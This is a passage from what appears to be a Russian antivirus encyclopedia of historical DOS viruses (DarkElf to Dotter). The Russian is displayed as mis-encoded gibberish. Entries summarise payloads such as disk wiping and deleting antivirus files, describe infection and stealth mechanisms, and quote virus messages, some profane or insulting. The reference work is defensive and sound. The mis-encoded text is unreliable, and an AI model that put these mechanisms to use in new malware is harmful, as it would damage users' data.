DarkElf.1800, 2000, 2200
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Ñîäåðæàò òåêñòû:
DarkElf.1800:
[Dark Elf] version 1.0 CopyLeft (cl) MSTUdent. 16:10:14 03/08/96
DarkElf.2200:
[Dark Elf] version 2.1 CopyLeft (cl) MSTUdent 18/08/96 03:50:30
3:41 AM - ... Ñèæó ... Ñî÷èíÿþ ýòî ïîñëàíèå ...
3:44 AM - ... Ìûñëåé íåò ...
3:45 AM - Íó ýòî âñå íà ôèã, ïîéäó ëó÷øå ñïàòü. Âîò òîëüêî êîìïèëüíó...
DarkElf.3692
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò òåêñòû:
[Dark Elf] version 3.0 CopyLeft (cl) MSTUdent 13/11/96 18:04:13
Òû ïðîñòè ìåíÿ, Ëîçèíñêèé, ñëàâíûé ïðîãðàììèñò îòâàæíûé,
Íàïèñàâøèé AIDSTEST'û è óáèâøèé âñåõ MORGOT'îâ.
[DEME] Dark Elf Mutation Engine v1.0 CopyLeft (cl) MSTUdent
13/11/96 18:04:13
DarkLord.based
Ðåçèäåíòíûå âèðóñû. Âèðóñû äàííîãî ñåìåéñòâà ñîäåðæàò òåêñòîâóþ ñòðîêó
"Dark Lord, I summon thee! MANOWAR!"
DarkLord.1085
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "Terror".
Darkness.1125
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïîñëå 25 äåêàáðÿ 1994 ãîäà
óíè÷òîæàåò ñîäåðæèìîå æåñòêîãî äèñêà è âûâîäèò òåêñò:
This is first version of virus
Comes from HELL (CfH)
Coming end of the world
The time of the Eternal Dackness ...
Formating cylindr # 0
DarkRevenge.1032
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè íàæàòèè íà ESC ïåðåãðóæàåò ñèñòåìó.
Ñîäåðæèò òåêñò "Dark Revenge".
DarthVader.200, 255 (1-3), 344 (1,2), 409
Î÷åíü îïàñíûå ðåçèäåíòíûå âèðóñû. Ñîäåðæàò òåêñò "Darth Vader".
Darv.1024
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïîñëå çàðàæåíèé ôàéëîâ âûâîäèò ñîîáùåíèå
"VIRUS TERMINATED OK AND PASSED THE CONTROL !!!". Ïðè îøèáêå ÷òåíèÿ -
çàïèñè ìîæåò âûâåñòè "*** ERROR ***". Ñîäåðæèò òåêñòû "TACK", "DARV",
"*** END OF VIRUS ***".
Datacrime.1168 (1,2), 1280 (1,2), 1480, 1514
Î÷åíü îïàñíûå íåðåçèäåíòíûå âèðóñû. Èíîãäà âûâîäÿò ýêðàí òåêñòû:
Datacrime.1168,1280: DATACRIME VIRUS RELEASED: 1 MARCH 1989
Datacrime.1480,1514: DATACRIME II VIRUS
è ïîñëå ýòîãî ïûòàþòñÿ îòôîðìàòèðîâàòü íåñêîëüêî äîðîæåê ïåðâîãî
æåñòêîãî äèñêà.
DataLock.920(1,2), 1043, 1150
Îïàñíûå ðåçèäåíòíûå âèðóñû. DataLock.920 (1,2) áëîêèðóþò îòêðûòèå DBF-
ôàéëîâ. DataLock.1043 ìîæåò îòôîðìàòèðîâàòü íóëåâûå äîðîæêè äèñêîâ A:,
B: è âòîðîãî æåñòêîãî äèñêà. DataLock.1150 øèôðóåò ïåðâûå ïÿòü
öèëèíäðîâ æåñòêîãî äèñêà, ïîñëå ÷åãî âûâîäèò òåêñò:
Ben bir garip virusum
Disket disket gezerim
Bugun kismet sendeymis
Yarin belki kimdeyim
Sair virus
Âèðóñû ñîäåðæàò ñòðîêè:
DataLock.920(1,2) - DataLock version 1.00
DataLock.1150 - Fuck Serb Virus
Day14.789, 792
Îïàñíûå íåðåçèäåíòíûå âèðóñû. 14 èëè 24 ÷èñëà ìåñÿöà óíè÷òîæàþò
ñîäåðæèìîå CMOS ïàìÿòè è MBR (èëè 256 ñåêòîðîâ ïåðâîãî æåñòêîãî äèñêà -
Day14.792).
Dead.852
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Âî âòîðîì è äåâÿòîì ÷àñàõ èçäàåò çâóêîâûå
ñèãíàëû. Íå çàðàæàåò ôàéëû, èìåíà êîòîðûõ íà÷èíàþòñÿ íà AI, WE, DR.
Dead.1362, 1364
Î÷åíü îïàñíûå ðåçèäåíòíûå âèðóñû. Âåäóò ñ÷åò÷èê çàðàæåíèé âíóòðè
ôàéëîâ. Ïðè ñ÷åò÷èêå áîëåå 255 âèðóñû óíè÷òîæàþò ñîäåðæèìîå äèñêà D:.
Ñîäåðæàò ñòðîêó "COMSPEC".
Debilas.2000
Îïàñíûé ðåçèäåíòíûé âèðóñ.  ñåíòÿáðå ïîñëå 22 ÷èñëà óíè÷òîæàåò
ñîäåðæèìîå 128 ñåêòîðîâ êàæäîãî ëîãè÷åñêîãî óñòðîéñòâà æåñòêîãî äèñêà è
âûâîäèò òåêñò:
-=DMS=-
Fuck you b.tAMULYNAS and to your crack of Print_Screen
Buvai DEBILAS , esi DEBILAS ir busi DEBILAS !!!
Copy right Antanas Vidziunas ,VDU, 1996.
Íå çàðàæàåò ôàéëû, ñîäåðæàùèå ñëåäóþùèå ñî÷åòàíèÿ: AI,CL,WE,AD,AN,SC,
V.,LD,PR,MM. Ñîäåðæèò çàøèôðîâàííûé òåêñò "I `LL BE IN KTU SOMEDAY".
DecMem
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ïðè çàðàæåíèè çàãðóçî÷íûõ ñåêòîðîâ ôëîïïè-
äèñêîâ çàïîìèíàåò ñèñòåìíóþ äàòó â ñâîåì òåëå. Ïðè çàãðóçêå ñèñòåìû ñ
òàêîãî äèñêà è íåñîâïàäåíèè çíà÷åíèÿ çàïîìíåííîé äàòû è ñèñòåìíîé,âèðóñ
çàïèñûâàåò â äàííûé çàãðóçî÷íûé ñåêòîð íîâóþ äàòó è óâåëè÷èâàåò íà 1Kb
çíà÷åíèå "îòðåçàåìîé ó DOS" ðåçèäåíòíîé êîïèåé âèðóñà êîëè÷åñòâà
äîñòóïíîé ïàìÿòè.
DEI.1456, DEI.1526, DEI.1634, DEI.1792, DEI.1948
Ïîëèìîðôíûå âèðóñû. Â çàâèñèìîñòè îò ñèñòåìíîãî òàéìåðà ìîãóò ñîçäàòü â
òåêóùåé äèðåêòîðèè ôàéë DEI.COM äëèíîé 50 áàéò èëè ïîïûòàòüñÿ óäàëèòü
äàííûé ôàéë. Ïðè çàïóñêå DIE.COM, íà ýêðàí áóäåò âûâåäåí òåêñò:
Devils & Evangels, Inc. [DEI] MnemoniX
DEI.1948 ïûòàåòñÿ óäàëèòü â òåêóùåì êàòàëîãå ôàéë ANTI-VIR.DAT.
DEI.1456 ñîäåðæèò ñòðîêó "v1.00\DEI.COM".
DEI.1526 - "v1.50\DEI.COM".
DEI.1634 - "v1.99\DEI.COM".
DEI.1792 - "v.2.00\DEI.COM".
DEI.1948 - "v.2.50 ANTI-VIR.DAT \DEI.COM".
Deicide.520
Îïàñíûé ðåçèäåíòíûé âèðóñ. 13 ÷èñëà ìåñÿöà ëþáîé ñèìâîë, âûâîäèìûé íà
ïå÷àòü, ìåíÿåò íà ñèìâîë "6". Ñîäåðæèò òåêñòû "666", "DEICIDE".
Dennis.539, 656, 689, 1000
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Dennis.656 20 èþíÿ ïðîèçâîäèò âñÿ÷åñêèå
ìàíèïóëÿöèè ñ êëàâèàòóðîé (áàéò ïî àäðåñó 0040:0017h), Dennis.689 ïðè
âûâîäå íà ïå÷àòü âñòàâëÿåò ïåðåä êàæäûì âûâîäèìûì ñèìâîëîì êîìàíäû,
ïîïåðåìåííî èçìåíÿþùèå âåðõíèé è íèæíèé ðåãèñòð áóêâ. Dennis.689
ñîäåðæèò òåêñò "v1.0(CrazyPrinter)ByDennisDavydov", Dennis.1000 èìååò
çàøèôðîâàííûé òåêñò "execomûD.Davydov".
Demiurg.3061
Îïàñíûé ðåçèäåíòíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. "Ïåðåõâàòûâàåò" INT 13h,
2Ah, 0CEh, 0E0h. Ïðè îòêðûòèè ôàéëà A-Dinf-°.°°°, âèðóñ ïðîèçâîäèò
ïîäñ÷åò CRC â íåêîòîðîé îáëàñòè ïàìÿòè (?) è óäàëÿåò ñâîé êîä èç
ñåêòîðîâ äèñêà, íî MBR íå ïåðåçàïèñûâàåò, â ðåçóëüòàòå ÷åãî ñèñòåìà
ïîâèñíåò ïðè çàãðóçêå ñ òàêîãî äèñêà. Ðàáîòîñïîñîáåí òîëüêî â DOS
âåðñèÿõ 6.xx. Ñîäåðæèò òåêñòû:
Ìèð âàì.Ìåíÿ çîâóò Demiurg.ß õðàíèòåëü âðàò,âðàò Àäà.
Âñå êòî õî÷åò óâèäåòü Õîçÿèíà âñòðå÷àåòñÿ ñî ìíîé,à êòî
âñòðå÷àåòñÿ ñî ìíîé ïîïàäàåò ê Õîçÿèíó...ìåðòâûì.
Òóïûå îõîòíèêè çà ãîëîâàìè,ñ ïðèòåíçèåé íà èíòåëëåêò
ãàäàòåëè,âñåçíàþùèå âèçèðè-ìíîãèå ïûòàëèñü óâèäåòü
ìåíÿ,íî ïîðîé èõ ãëàçà áûëè îñëåïëåíû,à óì íàøåïòûâàë
ñîáëàçíèòåëüíîå OK
LORD
Democracy.3806
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò ñëåäóþùèå ñîîáùåíèÿ:
Please answer:
OK!
Don't forget June Fourth!
I agree
I have not ANY side effect.
ANY cleaning action will make servere result.
You don't answer correctly, once again.
Democracy
Demon.4313, 4767, 5670
Îïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Óäàëÿþò ôàéëû: SCAN.DAT,
SIGN.DEF, TBAV.KEY, TBSCAN.SIG, Anti-vir.dat, chklist.ms. Ïðè ïîïûòêå
çàðàæåíèÿ ôàéëà íà çàùèùåííîì îò çàïèñè äèñêå âèðóñû âûâîäÿò
ñîîáùåíèÿ:
Demon.4767 - Disk is Write Protected
Please Unprotect it and
Press Any Key When Ready
Demon.5670 - Disk is Write Protected
Please Unprotect it AND
Press any key to continue . . .
Ïîñëå ÷åãî æäóò íàæàòèÿ íà êëàâèøó è Demon.4767 âûâîäèò ñîîáùåíèå:
Thank-You, Please Wait...
Demon.4313 ñîäåðæèò ñòðîêó "[demon4] Hellfire", Demon.4767, 5670 -
ñòðîêó "[demon3b]".
Demonhyak.272, 284
Î÷åíü îïàñíûå çàìåùàþùèå ïðîãðàììíûé êîä âèðóñû. Âî âòîðíèê óíè÷òîæàþò
160 ñåêòîðîâ äèñêà C: è âûâîäÿò òåêñòû:
Demonhyak.272:
Error eating drive C:
Demonhyak.284:
HAÆMÈTE HEMEÄËEHHO Ctrl+Alt+Del+Ins !
Error on drive C:
Demonhyak.272 èìååò òåêñòîâóþ ñòðîêó "Demonhyak Viri X.X (c) by Cracker
Jack 1991 (IVRL)".
Destage.1200
Íåîïàñíûé øèôðîâàííûé ôàéëîâî-çàãðóçî÷íûé âèðóñ.Èñïîëüçóåò äèíàìè÷åñêóþ
çàùèòó îò îòëàäêè ñ ïîìîùüþ INT 01. Ïðè ñòàðòå èíôèöèðîâàííîé ïðîãðàììû
çàðàæàåò MBR æåñòêîãî äèñêà, íåïîñðåäñòâåííî ïðîãðàììèðóÿ ïîðòû
äèñêîâîãî êîíòðîëëåðà IDE. Ñîäåðæèò çàøèôðîâàííóþ ñòðîêó [ DESTAGE (tm)
by AZ & HS ]".
Destructor.264
6 ÷èñëà ïîñëå 12.00 âûâîäèò òåêñò "Destructor, Copyright (C) 1992 by
Krasikov".
Device.2000
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Çàðàæàåò EXE è SYS-ôàéëû. Äëÿ EXE-ôàéëîâ
ÿâëÿåòñÿ ïîëèìîðôíûì âèðóñîì. Ïðè ñòàðòå èíôèöèðîâàííîãî EXE-ôàéëà,
âèðóñ ïðîèçâîäèò ïîèñê â ôàéëå C:\CONFIG.SYS òåêñòîâûõ ñòðîê "DEVICE".
Ïðè íàõîæäåíèè òàêîé ñòðîêè âèðóñ ïûòàåòñÿ çàðàçèòü ôàéë (åñëè îí â
ôîðìàòå SYS), óêàçàííûé ÷åðåç äàííóþ ïåðåìåííóþ "DEVICE". Âèðóñ ñîçäàåò
ôàéë C:\devices.$$$, çàïèñûâàåò â íåãî 2000 áàéò ñâîåãî êîäà, çàòåì
çàïèñûâàåò ñîäåðæèìîå îðèãèíàëüíîãî SYS-ôàéëà, óäàëÿåò SYS-ôàéë-æåðòâó
è ïðèñâàèâàåò ôàéëó C:\devices.$$$ èìÿ äàííîãî ôàéëà. Ïðè çàãðóçêå
òàêîãî èíôèöèðîâàííîãî SYS-ôàéëà âèðóñ "ïåðåõâàòûâàåò" INT 1Ch(òàéìåð).
Ïðè îïðåäåëåííûõ îáðàùåíèÿõ ê òàéìåðó âèðóñ ïðîâåðÿåò åñòü ëè îáðàùåíèå
ê ôëîïïè-äèñêàì (âêëþ÷åí ëè ìîòîð äèñêîâîäîâ) è ïûòàåòñÿ íàéòè è
çàðàçèòü EXE-ôàéëû.
Devil (1,2)
Ïðè êàæäîé 6îé ïåðåçàãðóçêå èëè ïðè îøèáêå ÷òåíèÿ âî âðåìÿ çàãðóçêè
ñèñòåìû ñ èíôèöèðîâàííîãî äèñêà Devil (1) âûâîäèò òåêñò:
(c) Devil Production Ver 1.0 28/08/1972
Devil (2) ñîäåðæèò òåêñòû "(c) Devil", "v3.0".
DHeart.452
Èíîãäà âûâîäèò íà ýêðàí èçîáðàæåíèå äâóõ ñåðäåö (ASCII 3) .
Diablo
Ñîäåðæèò ñòðîêó "DIABLO".
Diamond.1024
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðîèçâîäèò âèäåîýôôåêò, âíåøíå ïîõîæèé íà
ñâåðêàíèå áðèëëèàíòà, ñîñòîÿùåãî èç ñèìâîëîâ "" ASCII 4.
Diamond.RockSteady (1,2)
Îïàñíûå ðåçèäåíòíûå âèðóñû. 13 ÷èñëà ôîðìàòèðóþò ïåðâûé æåñòêèé äèñê.
Ñîäåðæàò òåêñò "!RocK STeaDY!".
Dicker.400
Ñîäåðæèò ñòðîêó "Dicker 1.0".
Die.666
Èíîãäà ìîæåò âûâåñòè ñòðîêó "VIRUS INFO". Ñîäåðæèò ñëîâî "Die".
DieLamer.1090
Îïàñíûé ðåçèäåíòíûé âèðóñ. Óíè÷òîæàåò ôàéëû smartc*.cps è chklist.*.
Åñëè èäåò âûâîä ñòðîêè "-=*@DIE_LAMER@*=-" ÷åðåç INT 10h, òî âèðóñ
óíè÷òîæàåò ñîäåðæèìîå ñåêòîðîâ äèñêà B:. Ñîäåðæèò ñòðîêó "VLamiX-1".
Digger.600
 10.00 è â 17.00 âûâîäèò íà ýêðàí êàðòèíêó:
°°°°°°°DIGGER°°°°°°°°
°°°°°°°°°L °°°°°°°°°
°°°°°°° ÜÜ
°°°°
°ÜÛß Ü ßß Ü ßÛßÛÜ°°°
°°°°°ßÜß ßÜß ßÛÜ°
°°°°°°°°°°°°°°°°°°°°°
Digger.1000
Ïîñëå 30 çàðàæåíèé ïðîãðàìì âûâîäèò òåêñò:
Òû äîëãî â DIGGER íå èãðàë - òåïåðü ÿ ãðóñòíûé òåðìèíàë
Digger.1475 (1,2), 1512, 1800
Îñòàâëÿþò â ïàìÿòè ðåçèäåíòíóþ ïðîãðàììó, êîòîðàÿ ïåðåâîðà÷èâàåò ýêðàí.
Ñîäåðæàò ñòðîêó "(C) DIGGER".
Digital.3547
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. 28 ìàÿ óíè÷òîæàåò ñîäåðæèìîå
ñåêòîðîâ íà 32 ãîëîâêàõ 20 äîðîæêàõ ïåðâîãî æåñòêîãî äèñêà, çàïèñûâàÿ â
äàííûå ñåêòîðà ïîâòîðÿþùóþñÿ ñòðîêó "DIGI",ïîñëå ÷åãî ïåðåïðîãðàììèðóåò
çíàêîãåíåðàòîð, ïðîèãðûâàåò ìåëîäèþ è âûâîäèò òåêñò:
0000000000 00000000 00000000 00000000
0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000
0000 0000 0000 0000 0000
0000 0000 0000 0000 000000 0000
0000 0000 0000 0000 0000 0000
0000000000 00000000 000000 00 00000000
000000000000 000000 0000 0000 00000000000000 000000000000
0000 0000 0000 0000 0000 0000 0000 00 0000 0000
0000 0000 0000 0000 0000 0000 0000 00 0000 0000
0000000000 0000 0000 0000 0000 00000000 0000000000
0000 0000 0000 0000 00 0000 0000 00 0000 0000
0000 0000 0000 00000000000000 0000 00 0000 0000
00000000 000000 0000 0000 00000000000000 000000 0000
ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
THIS IS A NEW ... DELIVER II SÒÉÃlÒH (R) WRITE BY DiGiT! ... SOUTH POLAND 1995
ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
Dima.325
Ñîäåðæèò òåêñò "Dima".
Dinamo
Åñëè â ïðîöåññå çàãðóçêè ñ èíôèöèðîâàííîãî äèñêà ïðîèçîéäåò îøèáêà
÷òåíèÿ, òî âèðóñ âûâîäèò íà ýêðàí ôðàçó "Dinamo(Kiev)-champion !!!".
Dir.691
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "DIR".
Dir-II (1-7)
Íåîïàñíûå (Dir-II (5) - îïàñåí ) ðåçèäåíòíûå âèðóñû, âñòðàèâàþùèåñÿ â
öåïî÷êó äèñêîâûõ äðàéâåðîâ. Çàïèñûâàþò ñâîé êîä â ïîñëåäíèé êëàñòåð
äèñêà. Äëÿ ôàéëîâ ñ ðàñøèðåíèÿìè COM è EXE óñòàíàâëèâàþò óêàçàòåëè
ïåðâîãî êëàñòåðà äàííûõ íà äàííûé ïîñëåäíèé êëàñòåð äèñêà, ñîäåðæàùèé
âèðóñíûé êîä. Dir-II (5) óìåíüøàåò äëèíó ôàéëîâ ñ ðàñøèðåíèåì DBF íà
256 áàéò è óäàëÿåò ôàéëû, íà÷èíàþùèåñÿ íà AIDS èëè ADIN.
Dir-II.Dragon (1,2)
Îïàñíûé âèðóñ. Èíîãäà "çàòèðàåò" ôàéëû ñòðîêîé:
DRAGON ver 1.0 Copyright (c) MicroVirus Corp. 1993
The Lords of the Computers ! DRAGON - the Lord of Disks ! anti
Dir-II.Hippies
Ñîäåðæèò òåêñò "Ïî Èíòåãðàëó ïëûâåò ïèðîãà,â íåé åäóò õèïïè,èõ î÷åíü
ìíîãî.".
Dir-II.KillDll
Î÷åíü îïàñíûé âèðóñ. Óíè÷òîæàåò âñå *.DLL-ôàéëû. Ñîäåðæèò òåêñò "DLL
Killer".
Dir-II.October (1,2)
Ñîäåðæèò òåêñò "Íå çàáóäü ïîçäðàâèòü ñåáÿ ñ äí¸ì ðîæäåíèÿ 20 îêòÿáðÿ.".
Dir-II.TheHndV
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ, âñòðàèâàþùèéñÿ â öåïî÷êó
äèñêîâûõ äðàéâåðîâ. Ñîçäàåò ôàéë CHKLISTx.MSx (ãäå x - ýòî çíà÷åíèå
ASCII 255 (0FFh), êëàñòåð äàííûõ êîòîðîãî ðàñïîëîæåí â ïîñëåäíèõ
ñåêòîðàõ äèñêà. Ó âñåõ ôàéëîâ ñ ðàñøèðåíèÿìè COM è EXE âèðóñ
óñòàíàâëèâàåò çíà÷åíèå ïåðâîãî êëàñòåðà äàííûõ íà ïåðâûé êëàñòåð ôàéëà
CHKLISTx.MSx, ñîäåðæàùèé âèðóñíûé êîä. Â 11.00, 16.00 âèðóñ ïðîèãðûâàåò
ìóçûêó è âûâîäèò íà ýêðàí ñîîáùåíèå:
T R A B A J E M O S T O D O S P O R V E N E Z U E L A !!!
Ñîäåðæèò òàêæå òåêñòû "The-HndV", "".
DiS.1024
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïðè ïîïûòêå òðàññèðîâêè
ðåçèäåíòíîãî êîäà ìîæåò óíè÷òîæèòü ñîäåðæèìîå ñåêòîðîâ äèñêîâ A: è B:,
ïîñëå ÷åãî âûâîäèò òåêñò:
***The Heaven Version 3.0 (C)Copyright 1993 DiS co.***
***If you can read this , you don't need glasses!***
DiskKiller
Î÷åíü îïàñíûé çàãðóçî÷íûé âèðóñ. Ìîæåò âûâåñòè ñîîáùåíèå:
Disk Killer -- Version 1.00 by COMPUTER OGRE 04/01/1989
Warning !!
Don't turn off the power or remove the diskette
while Disk Killer is Processing!
PROCESSING
Ïîñëå ÷åãî óíè÷òîæàåòñÿ âñÿ èíôîðìàöèÿ íà ïåðâîì æåñòêîì äèñêå. Ïîñëå
ñâîèõ ðàçðóøèòåëüíûõ äåéñòâèé âèðóñ âûâîäèò òåêñò:
Now you can turn off the power
I wish you luck !
DiskSpoiler.1308
Îïàñíûé íåðåçèäåíòíûé âèðóñ. "Çàáèâàåò" ñâîáîäíîå ìåñòî â òàáëèöå FAT
ïðèçíàêàìè êîíöà ôàéëà.
DiskWasher
Îïàñíûé çàãðóçî÷íûé âèðóñ. 50000 èëè 5000 ïîêîëåíèå âèðóñà ôîðìàòèðóåò
ïåðâûé æåñòêèé äèñê è âûâîäèò ñîîáùåíèå " From DiskWasher with love "
Djifx.2372
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Óñòàíàâëèâàåò ñèñòåìíîå âðåìÿ íà
ïîëíî÷ü è ìåñÿö àïðåëü, åñëè çíà÷åíèå òåêóùåãî äíÿ - 15 è íà ïîëíî÷ü è
ìåñÿö ñåíòÿáðü, åñëè äåíü - 12ûé. "Ïåðåõâàòûâàåò" INT 5,9,17h,21h. Ïðè
ïîïûòêå âûâåñòè îáðàç ýêðàíà íà ïðèíòåð ïåðåçàãðóæàåò ñèñòåìó. Ïðè
âûâîäå íà ïå÷àòü èçìåíÿåò çíà÷åíèå öèôð íà ïðîòèâîïîëîæíûå:1234567890 -
0987654321. Ïðè íàæàòèè íà Ctrl-Alt-Del â ïÿòíèöó âûâîäèò òåêñò:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ·
¦ DJ[I]-FX, Ver. 0.53., (c) 1996 by þþþ º
¦ Just call my name and I'll be back... º
¦ Password: (D&I) Enigma: (Ë2È1ËÔ¦óÌÙÊѽö´÷°óéð) º
ÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
è "âåøàåò" ñèñòåìó. Íå çàðàæàåò ôàéëû DRWEB.EXE, AIDSTEST.EXE,
COMMAND.COM.
DM.310, 330
Íåîïàñíûå ðåçèäåíòíûé âèðóñû. DM.330 ñîäåðæèò òåêñò "(C)1991 1.05 DM".
Dma.1024
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. 13 ÷èñëà ïðîèçâîäèò íåêèå
ìàíèïóëÿöèè ñ DMA.
Dmr.1200 (1,2)
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. 13 ÷èñëà âûâîäÿò íà ýêðàí òåêñòû:
DMR, Pantera & Ale Forever !
D M R F o r e v e r !
Dis iz ChaosTraveller ver. 2.0
Nightmare, yeah ? Try to be clean !
Suck off, fucksider ! Today`s 13th !
Virus "CHAOS TRAVELLER".
Made by MegaMind,Murmansk,RUSSIA,1996.
This is only test.Prepare for my next virus.
I will turn you life into nightmare !
Ha-ha-ha-ha-ha-ha-ha-ha !!!
Dnepr.377
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðèîäè÷åñêè âûâîäèò íà ýêðàí òåêñò
"DNEPR-CHAMPION".
Dobkin.91, 177
Ñîäåðæàò òåêñò "<< The Dobkin >>".
Dodgy
Îïàñíûé çàãðóçî÷íûé ñòåëñ-âèðóñ. Ïåðåõâàòûâàåò INT 13h, 21h, 2Fh, 40h.
Óäàëÿåò ôàéë SYSTEM\IOSUBSYS\HSFLOP.PDR. 28 ÷èñëà ìîæåò óíè÷òîæèòü
ñîäåðæèìîå ñåêòîðîâ äèñêåò è âûâåñòè òåêñò "RAVage is wiping data!
RP&muRphy".
Donbass.444
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïåðâûì äåëîì ïûòàåòñÿ çàðàçèòü êîìàíäíûé
ïðîöåññîð, óêàçàííûé ÷åðåç ïåðåìåííóþ ñðåäû COMSPEC. Ñîäåðæèò òåêñò
"Donbass3".
Doom.666
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò:
DOOM2.EXE Illegal DOOM II signature
Your version of DOOM2.EXE matches the illegal RAZOR release of DOOM2
Say bye-bye HD
The programmer of DOOM II DEATH is in no way affiliated with ID software.
ID software is in no way affiliated with DOOM II DEATH.
Doom.752
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. 8 ÷èñëà ëþáîãî ìåñÿöà ïûòàåòñÿ
óíè÷òîæèòü 320 ñåêòîðîâ äèñêîâ C: è D:, ïîñëå ÷åãî âûâîäèò ñîîáùåíèå:
DOOM I. Greetings from National Central University !
DOS-1.184
Ñîäåðæèò ñòðîêó "DOS-1".
DotEater.944 (1-3)
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ïåðâûì äåëîì ïûòàþòñÿ çàðàçèòü êîìàíäíûé
ïðîöåññîð, óêàçàííûé ÷åðåç ïåðåìåííóþ COMSPEC. Ìîãóò îñòàâèòü â ïàìÿòè
ðåçèäåíòíûé êîä "íà êëàâèàòóðå INT 16H", êîòîðûé â çàâèñèìîñòè îò
íàæèìàåìûõ êëàâèø "çàïóñêàåò" ïî 25 ñòðîêå ýêðàíà "ðîæèöó", ASCII
ñèìâîë - 1. "Ðîæèöà" âî âðåìÿ ñâîåãî äâèæåíèÿ "èçäàåò" æóææàíèå.
Dotter.3961, 4611
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Èíîãäà ìîãóò âûâåñòè íà ýêðàí
îäíî èç ïðèâåäåííûõ íèæå âûñêàçûâàíèé:
"Íå áîãàòåé äópíûìè ñpåäñòâàìè" (Ôàëåñ).
"×åì ïîääåæàë òû ñâîèõ ðîäèòåëåé, òàêîãî æäè è îò äåòåé" (Ôàëåñ).
"Çàâîäè äðóçåé íå ñïåøà, à çàâåäøè, íå áðîñàé" (Ñîëîí).
"Íå çëîñëîâü î áëèæíåì, ÷òîáû íå óñëûøàòü òàêîãî, ÷åìó ñàì íå
ïîðàäóåøüñÿ" (Õèëîí èç Ñïàðòû).
"×òî ëó÷øå âñåãî? Õîðîøî äåëàòü, ÷òî äåëàåøü" (Ïèòòàê)
"Òîëüêî áîëüíàÿ äóøà ìîæåò áûòü ãëóõà ê ÷óæîé áåäå" (Áèíàò).
"Öèâèëèçàöèÿ - ýòî ñîâîêóïíîñòü äóõîâíûõ, ìàòåðèàëüíûõ è íðàâñòâåííûõ
ñðåäñòâ, êîòîðûìè äàííîå ñîîáùåñòâî âîîðóæàåò ñâîåãî ÷ëåíà â åãî
ïðîòèâîñòîÿíèè âíåøíåìó ìèðó" (Ì.Áàðã).
"Åñëè äëÿ ñîçäàíèÿ ñîöèàëèçìà òðåáóåòñÿ îïðåäåëåííûé óðîâåíü
êóëüòóðû... òî ïî÷åìó íàì íåëüçÿ íà÷àòü ñíà÷àëà ñ çàâîåâàíèÿ
ðåâîëþöèîííûì ïóòåì ïðåäïîñûëîê äëÿ ýòîãî îïðåäåëåííîãî óðîâíÿ, à ïîòîì
óæå, íà îñíîâå ðàáî÷å-êðåñòüÿíñêîé âëàñòè è ñîâåòñêîãî ñòðîÿ, äâèíóòüñÿ
äîãîíÿòü äðóãèå íàðîäû" (Â.Ëåíèí).
"Ïðèøëî íåñ÷àñòüå - ÷åëîâåê ñàì åãî ïîðîäèë, ïðèøëî ñ÷àñòüå - ÷åëîâåê
ñàì åãî âûðàñòèë. Ó íåñ÷àñòüÿ è ñ÷àñòüÿ îäíè äâåðè, ïîëüçà è âðåä -
ñîñåäè" (Êîíôóöèé).
"Ìèð - ýòî ñâÿùåííûé ñîñóä, êîòîðûì íåçüçÿ ìàíèïóëèðîâàòü. Åñëè êòî
õî÷åò ìàíèïóëèðîâàòü èì, óíè÷òîæèò åãî" (Äàî) .
Çàïàä åñòü Çàïàä, Âîñòîê åñòü Âîñòîê,
íå âñòðåòèòüñÿ èì íèêîãäà.
Ëèøü ó ïîäíîæüÿ Ïðåñòîëà Áîæüÿ
â äåíü Ñòðàøíîãî Ñóäà. (Ð.Êèïëèíã)
"Êòî ïîêóïàåò íåíóæíîå, òîò ñêîðî ïðîäàñò íåîáõîäèìîå" (Á.Ôðàíêëèí).
"Ïîìíèòå, ÷òî âðåìÿ - ýòî äåíüãè" (Á.Ôðàíêëèí).
